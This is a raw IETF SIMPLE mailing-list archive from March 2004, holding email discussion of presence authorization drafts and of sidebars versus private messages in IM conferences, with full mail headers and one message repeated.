	Tue, 2 Mar 2004 03:15:10 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 03:15:02 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i221F2EL032407;
	Tue, 2 Mar 2004 03:15:02 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 000By3dM; Tue, 02 Mar 2004 03:14:59 EET
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i221Ew723653;
	Tue, 2 Mar 2004 03:14:59 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 03:14:58 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] New xcap authorization documents - references to external lists
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A7054D5AFE@esebe018.ntc.nokia.com>
Thread-Topic: [Simple] New xcap authorization documents
Thread-Index: AcPvSAnlGDdWtkDYR5GSxd9IBCgMVgQbDhGQ
To: <jdrosen@dynamicsoft.com>, <simple@ietf.org>
X-OriginalArrivalTime: 02 Mar 2004 01:14:58.0556 (UTC) FILETIME=[C77DEBC0:01C3FFF3]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 03:14:58 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

Hi,

Here's another issue I would like to discuss on these drafts:

The reference to external lists has been explicitly left out due to some =
GEOPRIV privacy concerns. I understand that the reason is that it may be =
hard for the PS to keep up with the most up-to-date version of the =
external list, and if someone gets removed from a list and the change =
would propagate slowly, she might be for a moment be authorized to =
information that was not anymore intended.

However, I find it too restrictive if this then has to limit external =
references also in those systems where updates would be instant. For =
instance I'm interested in building a system where a user can store =
lists in network, and use them for various purposes, e.g. sending IM, =
initiating a conference, doing presence subscription AND giving presence =
permissions.

To allow this I would like to define an extension to the current =
presence-rules specification so that the <identity> element could have =
an external reference pointing to e.g. an XCAP resource list. It would =
be OK to have a security considerations section which said that this =
extension can be used only in environments where the PS has guaranteed =
access to the external list, for instance because PS and the list are =
governed by the same provider. Also it could be specified that the rule =
would not match, if there was any problem with accessing the list.

If the SIMPLE WG for some reason does not allow this, I would like to =
pursue this as an individual document aiming for Informational RFC.=20

The example architecures where I think this kind of extension would be =
completely valid are e.g. 3GPP IMS or OMA group management system, and I =
expect many enterprises would benefit from this also.

Would there be any guidance on this?

Markus =20

> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> ext Jonathan Rosenberg
> Sent: 09 February, 2004 21:46
> To: Simple WG
> Subject: [Simple] New xcap authorization documents
>=20
>=20
> Folks,
>=20
> We've completed the major first step of integrating the geopriv and=20
> simple authorization specifications. -00 drafts have been=20
> submitted to=20
> both geopriv and simple supporting this unification.
>=20
> In geopriv, the main draft to look at is this one (available in the=20
> archives shortly:)
> http://ecotroph.net/~anewton/resources/geopriv/draft-ietf-geop
> riv-common-policy-00.txt
>=20
> This is the common policy specification. It outlines the=20
> framework for=20
> representing policies, and defines some basic elements, such as=20
> confirming subscriptions and identifying watchers. At this time, it=20
> includes support for the "exception" clause against domains.
>=20
> This specification is extended (and in particular, the abstract=20
> condition, action, and transformation elements are made=20
> concrete) with=20
> presence specific data in:
>=20
> http://www.jdrosen.net/papers/draft-rosenberg-simple-rules-00.txt
>=20
> which should also appear in the archives shortly. This draft will=20
> replace draft-ietf-simple-xcap-auth-usage-01.txt once the=20
> group is happy=20
> with the approach.
>=20
> Another change is the removal of "supported permissions" from=20
> xcap-auth-usage. That, like authorization rules, is now broken into a=20
> common core document and a presence specific one.
>=20
> http://www.jdrosen.net/papers/draft-rosenberg-simple-common-po
> licy-caps-00.txt
>=20
> specifies the common document, and:
>=20
> http://www.jdrosen.net/papers/draft-rosenberg-simple-pres-poli
> cy-caps-00.txt
>=20
> contains the capabilities specific to presence.
>=20
> These are both very simple specifications.
>=20
> I think the resulting document set is much cleaner and easier to=20
> understand than before. Put together, beyond a split, here=20
> are the major=20
> changes:
>=20
> * all conditions are part of a rule-wide selector (the conditions=20
> element) rather than specific to permissions. As such, the accept-if=20
> condition is gone.
>=20
> * only domain's have except clauses. There is no longer an "any"=20
> condition or the ability to reference a list.
>=20
> * The "sphere" element is now present as a condition
>=20
> * There is a "validity" condition which allows you to=20
> temproally scope=20
> the validity of a document
>=20
> * Removed "can-encrypt" condition - trying to keep things minimal.
>=20
> * You can now explicitly ask for subscription confirmation using the=20
> confirmation action from the common document
>=20
> * You can explicitly accept or reject subscriptions with the=20
> accept-subscription action in the presence specific document.
>=20
> * You can now explicitly polite block. The behavior of the=20
> server when=20
> the user requests polite blocking is not defined - its implementation=20
> specific.
>=20
> * There is no longer an "encrypt" action for requesting the server to=20
> send encrypted notifications.
>=20
> * There is now an "anonymous" condition which allows you to specify=20
> policies based on whether the subscription was anonymous
>=20
> * Specific treatment for identity matching is defined for SIP digest=20
> authentication, P-asserted-ID and sip-identity
>=20
> * There are three content transformations defined - show-tuple,=20
> show-namespace and show-element. Each of these is applied=20
> INDEPENDENTLY,=20
> so if an item is filtered by any one of these, its filtered=20
> out of the=20
> document.
>=20
> * show-note and show-contact have been removed to simplify
>=20
> * defaults were established for the above three transformations
>=20
> * The documents are much less xcap-centric. They talk about document=20
> formats, and have a small section at the end which defines=20
> the usage for=20
> xcap. The title and filenames have also changed to reflect this. This=20
> clarifies that these documents can be used outside of xcap.
>=20
>=20
>=20
> Please take a look and send comments.
>=20
> Thanks,
> Jonathan R.
> --=20
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>=20
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 20:21:25 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA19021
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 20:21:25 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axyag-0005nT-3h
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 20:20:58 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i221KwUR022277
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 20:20:58 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axyaf-0005nE-UR
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 20:20:57 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18974
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 20:20:54 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axyad-0006B5-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 20:20:55 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxyYs-0005ro-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 20:19:07 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyXo-0005du-00; Mon, 01 Mar 2004 20:18:00 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyXp-0005JI-3B; Mon, 01 Mar 2004 20:18:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyX0-000595-2k
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 20:17:10 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18682
	for <simple@ietf.org>; Mon, 1 Mar 2004 20:17:06 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyWy-0005V9-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:17:08 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxyW3-0005MB-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:16:12 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyV6-0005CM-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:15:12 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i221FA029507;
	Tue, 2 Mar 2004 03:15:10 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 03:15:02 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i221F2EL032407;
	Tue, 2 Mar 2004 03:15:02 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 000By3dM; Tue, 02 Mar 2004 03:14:59 EET
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i221Ew723653;
	Tue, 2 Mar 2004 03:14:59 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 03:14:58 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] New xcap authorization documents - references to external lists
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A7054D5AFE@esebe018.ntc.nokia.com>
Thread-Topic: [Simple] New xcap authorization documents
Thread-Index: AcPvSAnlGDdWtkDYR5GSxd9IBCgMVgQbDhGQ
To: <jdrosen@dynamicsoft.com>, <simple@ietf.org>
X-OriginalArrivalTime: 02 Mar 2004 01:14:58.0556 (UTC) FILETIME=[C77DEBC0:01C3FFF3]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 03:14:58 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hi,

Here's another issue I would like to discuss on these drafts:

The reference to external lists has been explicitly left out due to some =
GEOPRIV privacy concerns. I understand that the reason is that it may be =
hard for the PS to keep up with the most up-to-date version of the =
external list, and if someone gets removed from a list and the change =
would propagate slowly, she might be for a moment be authorized to =
information that was not anymore intended.

However, I find it too restrictive if this then has to limit external =
references also in those systems where updates would be instant. For =
instance I'm interested in building a system where a user can store =
lists in network, and use them for various purposes, e.g. sending IM, =
initiating a conference, doing presence subscription AND giving presence =
permissions.

To allow this I would like to define an extension to the current =
presence-rules specification so that the <identity> element could have =
an external reference pointing to e.g. an XCAP resource list. It would =
be OK to have a security considerations section which said that this =
extension can be used only in environments where the PS has guaranteed =
access to the external list, for instance because PS and the list are =
governed by the same provider. Also it could be specified that the rule =
would not match, if there was any problem with accessing the list.

If the SIMPLE WG for some reason does not allow this, I would like to =
pursue this as an individual document aiming for Informational RFC.=20

The example architecures where I think this kind of extension would be =
completely valid are e.g. 3GPP IMS or OMA group management system, and I =
expect many enterprises would benefit from this also.

Would there be any guidance on this?

Markus =20

> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> ext Jonathan Rosenberg
> Sent: 09 February, 2004 21:46
> To: Simple WG
> Subject: [Simple] New xcap authorization documents
>=20
>=20
> Folks,
>=20
> We've completed the major first step of integrating the geopriv and=20
> simple authorization specifications. -00 drafts have been=20
> submitted to=20
> both geopriv and simple supporting this unification.
>=20
> In geopriv, the main draft to look at is this one (available in the=20
> archives shortly:)
> http://ecotroph.net/~anewton/resources/geopriv/draft-ietf-geop
> riv-common-policy-00.txt
>=20
> This is the common policy specification. It outlines the=20
> framework for=20
> representing policies, and defines some basic elements, such as=20
> confirming subscriptions and identifying watchers. At this time, it=20
> includes support for the "exception" clause against domains.
>=20
> This specification is extended (and in particular, the abstract=20
> condition, action, and transformation elements are made=20
> concrete) with=20
> presence specific data in:
>=20
> http://www.jdrosen.net/papers/draft-rosenberg-simple-rules-00.txt
>=20
> which should also appear in the archives shortly. This draft will=20
> replace draft-ietf-simple-xcap-auth-usage-01.txt once the=20
> group is happy=20
> with the approach.
>=20
> Another change is the removal of "supported permissions" from=20
> xcap-auth-usage. That, like authorization rules, is now broken into a=20
> common core document and a presence specific one.
>=20
> http://www.jdrosen.net/papers/draft-rosenberg-simple-common-po
> licy-caps-00.txt
>=20
> specifies the common document, and:
>=20
> http://www.jdrosen.net/papers/draft-rosenberg-simple-pres-poli
> cy-caps-00.txt
>=20
> contains the capabilities specific to presence.
>=20
> These are both very simple specifications.
>=20
> I think the resulting document set is much cleaner and easier to=20
> understand than before. Put together, beyond a split, here=20
> are the major=20
> changes:
>=20
> * all conditions are part of a rule-wide selector (the conditions=20
> element) rather than specific to permissions. As such, the accept-if=20
> condition is gone.
>=20
> * only domain's have except clauses. There is no longer an "any"=20
> condition or the ability to reference a list.
>=20
> * The "sphere" element is now present as a condition
>=20
> * There is a "validity" condition which allows you to=20
> temproally scope=20
> the validity of a document
>=20
> * Removed "can-encrypt" condition - trying to keep things minimal.
>=20
> * You can now explicitly ask for subscription confirmation using the=20
> confirmation action from the common document
>=20
> * You can explicitly accept or reject subscriptions with the=20
> accept-subscription action in the presence specific document.
>=20
> * You can now explicitly polite block. The behavior of the=20
> server when=20
> the user requests polite blocking is not defined - its implementation=20
> specific.
>=20
> * There is no longer an "encrypt" action for requesting the server to=20
> send encrypted notifications.
>=20
> * There is now an "anonymous" condition which allows you to specify=20
> policies based on whether the subscription was anonymous
>=20
> * Specific treatment for identity matching is defined for SIP digest=20
> authentication, P-asserted-ID and sip-identity
>=20
> * There are three content transformations defined - show-tuple,=20
> show-namespace and show-element. Each of these is applied=20
> INDEPENDENTLY,=20
> so if an item is filtered by any one of these, its filtered=20
> out of the=20
> document.
>=20
> * show-note and show-contact have been removed to simplify
>=20
> * defaults were established for the above three transformations
>=20
> * The documents are much less xcap-centric. They talk about document=20
> formats, and have a small section at the end which defines=20
> the usage for=20
> xcap. The title and filenames have also changed to reflect this. This=20
> clarifies that these documents can be used outside of xcap.
>=20
>=20
>=20
> Please take a look and send comments.
>=20
> Thanks,
> Jonathan R.
> --=20
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>=20
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 20:22:40 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA19175
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 20:22:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxycM-0006XR-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 20:22:42 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxyaU-0006A5-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 20:20:47 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyYm-0005nO-00; Mon, 01 Mar 2004 20:19:00 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyYm-0005YB-Nz; Mon, 01 Mar 2004 20:19:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyYN-0005TJ-59
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 20:18:35 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18744
	for <simple@ietf.org>; Mon, 1 Mar 2004 20:18:31 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyYL-0005j5-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:18:33 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxyXI-0005Yi-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:17:30 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyWk-0005Px-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:16:54 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i221GhL19603;
	Tue, 2 Mar 2004 03:16:44 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 03:16:06 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i221G65d002114;
	Tue, 2 Mar 2004 03:16:06 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 00shBXKR; Tue, 02 Mar 2004 03:16:05 EET
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i221G4724395;
	Tue, 2 Mar 2004 03:16:04 +0200 (EET)
Received: from esebh005.NOE.Nokia.com ([172.21.138.86]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 03:16:04 +0200
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh005.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 03:16:04 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] Chat sessions
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A7054D5AFF@esebe018.ntc.nokia.com>
Thread-Topic: [Simple] Chat sessions
Thread-Index: AcP/ejusJ7pUeeCEQsymrlKJY/2/wwALCkZg
To: <Brian.Rosen@marconi.com>, <aki.niemi@nokia.com>
Cc: <jdrosen@dynamicsoft.com>, <pkyzivat@cisco.com>,
        <hisham.khartabil@nokia.com>, <Miguel.An.Garcia@nokia.com>,
        <simple@ietf.org>
X-OriginalArrivalTime: 02 Mar 2004 01:16:04.0446 (UTC) FILETIME=[EEC3EFE0:01C3FFF3]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 03:16:04 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

Hi,

It seems we are not getting the message through ;)

Let's see how sending a private message looks like as a sidebar vs. as =
proposed in the current draft. The case is this: Users A and B =
participate in the same conference, A wants to send a private message to =
B.

Sidebar case would be roughly like this:
1. A creates a conference for a sidebar using INVITE
   - new MSRP session is established between A and the new focus =
instance
2. A refers B to that conference
3. B joins the conference
   - new MSRP session is established
4. A sends MSRP SEND request to the conference
5. focus forwards it to B
6. A sends BYE
7. focus sends BYE to B

If B replies after 10 seconds, the whole process is followed again from =
1 to 7.

Private message case:
1. A sends private message targeted to B over an existing MSRP session
2. focus forwards it to B

So which solution would you like to adopt?=20

Markus


> -----Original Message-----
> From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> Sent: 01 March, 2004 12:41
> To: Niemi Aki (Nokia-M/Espoo)
> Cc: ext Jonathan Rosenberg; Isomaki Markus (Nokia-NRC/Helsinki);
> pkyzivat@cisco.com; Khartabil Hisham (Nokia-TP-MSW/Helsinki); Garcia
> Miguel.An (Nokia-NRC/Helsinki); simple@ietf.org
> Subject: RE: [Simple] Chat sessions
>=20
>=20
> Aki
>=20
> My post was meant to point out that we had decided to=20
> implement sidebars
> as separate dialogs from main conferences, which is similar to making
> "private messages" separate dialogs from a main IM dialog.  In that
> way, I think that sidebars and private messages are the same; they are
> media sent to a subset of participants in the group.  If there
> is a reason to allow a special way to subset destinations for a
> private message rather than the entire chat group, then whatever
> argument you make would apply to a sidebar. =20
>=20
> Brian
>=20
> > -----Original Message-----
> > From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> > Sent: Monday, March 01, 2004 2:58 AM
> > To: ext Rosen, Brian
> > Cc: ext Jonathan Rosenberg; Markus.Isomaki@nokia.com;
> > pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> > Miguel.An.Garcia@nokia.com; simple@ietf.org
> > Subject: Re: [Simple] Chat sessions
> >=20
> >=20
> > Brian,
> >=20
> > I've never argued for private messages over sidebars. I still=20
> > maintain=20
> > that sidebars and private messages are different and=20
> *complimentary*=20
> > features, and that we need *both* to have a complete=20
> solution for IM=20
> > conferences.
> >=20
> > Cheers,
> > Aki
> >=20
> > ext Rosen, Brian wrote:
> > > Aki
> > >=20
> > > When we were discussing sidebars, I made arguments like=20
> > this against making
> > > a sidebar
> > > a separate session.  Sidebars, I argued, are just media=20
> > (mixing) changes,
> > > they have
> > > nothing to do with session management.
> > >=20
> > > I lost this argument, and I will be very unhappy if IM=20
> > works differently.
> > > One of
> > > the reasons I lost it was the observation that a sidebar=20
> > could include
> > > participants
> > > who are not main conference participants.  I think you have=20
> > the same issue
> > > here.
> > >=20
> > > Brian
> > >=20
> > >=20
> > >>-----Original Message-----
> > >>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> > >>Sent: Sunday, February 29, 2004 12:40 PM
> > >>To: ext Jonathan Rosenberg
> > >>Cc: Markus.Isomaki@nokia.com; Brian.Rosen@marconi.com;
> > >>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> > >>Miguel.An.Garcia@nokia.com; simple@ietf.org
> > >>Subject: Re: [Simple] Chat sessions
> > >>
> > >>
> > >>
> > >>
> > >>ext Jonathan Rosenberg wrote:
> > >><snip />
> > >>
> > >>>>3. As Aki explained, sidebars and private IMs within a=20
> conference=20
> > >>>>are two different things. Sidebars are subconferences,=20
> > that include
> > >>>> a certain subset of the participants in the main=20
> > conference. They=20
> > >>>>need to be explicitly created and deleted. Private IMs within a=20
> > >>>>conference are also targeted to a subset of the conference=20
> > >>>>participants. But there is no need to setup a sidebar or=20
> > any other=20
> > >>>>additional context to send them. The recipients can simply be=20
> > >>>>signaled within each message (as proposed by using CPIM=20
> > To header).
> > >>>> This seems to be a specific property of IM, as this sort of=20
> > >>>>addressing would be impossible e.g. in RTP. In theory priate=20
> > >>>>messaging facility could be supported by sidebars, but in=20
> > this case
> > >>>> the focus would need to have as many sidebars constantly=20
> > setup, as
> > >>>> there are different possible participant subset=20
> > combinations. Way=20
> > >>>>too complex and not needed.
> > >>>
> > >>>
> > >>>I dont think that, functionally, what you are describing is=20
> > >>
> > >>different
> > >>
> > >>> from a sidebar. What differs is that the specifics of=20
> this media=20
> > >>>type allow for a more efficient implementation of the=20
> sidebar than=20
> > >>>would be possible for another media type, such as audio.=20
> > >>
> > >>Indeed, the=20
> > >>
> > >>>same is true for IM in general - why set up a session (ala=20
> > >>
> > >>msrp) when
> > >>
> > >>>you can just send a pager mode?
> > >>
> > >>The ultimate proof of difference in functionality is that private
> > >>messages are usable and useful in a sidebar - in fact it makes no
> > >>difference whether they're sent within the context of a=20
> > conference, a
> > >>conference sidebar, or a sidebar of a conference sidebar.
> > >>
> > >>Let me provide a concrete example of an already existing=20
> > service (IRC)
> > >>that has what I think is a close approximation of both sidebar and
> > >>private message functionality. (BTW, I feel strongly that if MSRP
> > >>conferences aren't as feature rich as IRC is, and provide the=20
> > >>same user
> > >>experience, we've failed miserably.)
> > >>
> > >>Channels in IRC have identities, e.g., #helsinki, and=20
> > >>participant lists
> > >>that are delivered in a very similar manner that the=20
> conference-info
> > >>events would be delivered. Users join these channels=20
> using JOIN, at
> > >>which time they get the participant list, and after that,=20
> > >>updates e.g.,
> > >>whenever anyone leaves or joins the channel.
> > >>
> > >>Users can send private messages to the other participants in=20
> > >>the channel:
> > >>
> > >>	PRIVMSG foobar :Some nick you got there foobar!
> > >>
> > >>Usually, these messages are displayed in the same pane as=20
> > the rest of
> > >>the channel's messages, including information about the sender but
> > >>marked accordingly as private.
> > >>
> > >>A user can also invite others to a sidebar of sorts, that=20
> is, a new
> > >>channel, whose properties can be set such that it can be joined by
> > >>invitation only.
> > >>
> > >>	INVITE FunnyNick #my_channel
> > >>	INVITE BeerLover #my_channel
> > >>	INVITE ROOLZ #my_channel
> > >>
> > >>Joining this new channel as a result of an invitation (with JOIN)
> > >>usually results in a new window, moving the focus of=20
> > conversation away
> > >>from the original channel, but still maintaining the=20
> > original channel'
> > >>and its messages active in the background.
> > >>
> > >>The users may again send messages either to the entire=20
> > >>channel (MSG), or
> > >>to only one participant (PRIVMSG). A recipient of an INVITE will
> > >>generally make a choice just like in a SIP invitation whether=20
> > >>or not to
> > >>join the sidebar or not. Receiving a PRIVMSG requires no=20
> > actions from
> > >>the recipient. Indeed, it might even go unnoticed.
> > >>
> > >>Taking this into account, I fail to see how sidebars alone=20
> > can be made
> > >>to work in providing similar functionality in MSRP=20
> > conferences. Either
> > >>sidears or private messages alone won't result in the=20
> same level of
> > >>functionality.
> > >>
> > >>Wrapping all private conversation inside a sidebar is incredibly
> > >>inefficient and results in bad user experience, since there=20
> > >>is no way to
> > >>distinguish a REFER that is to a sidebar whose sole purpose=20
> > >>is to send a
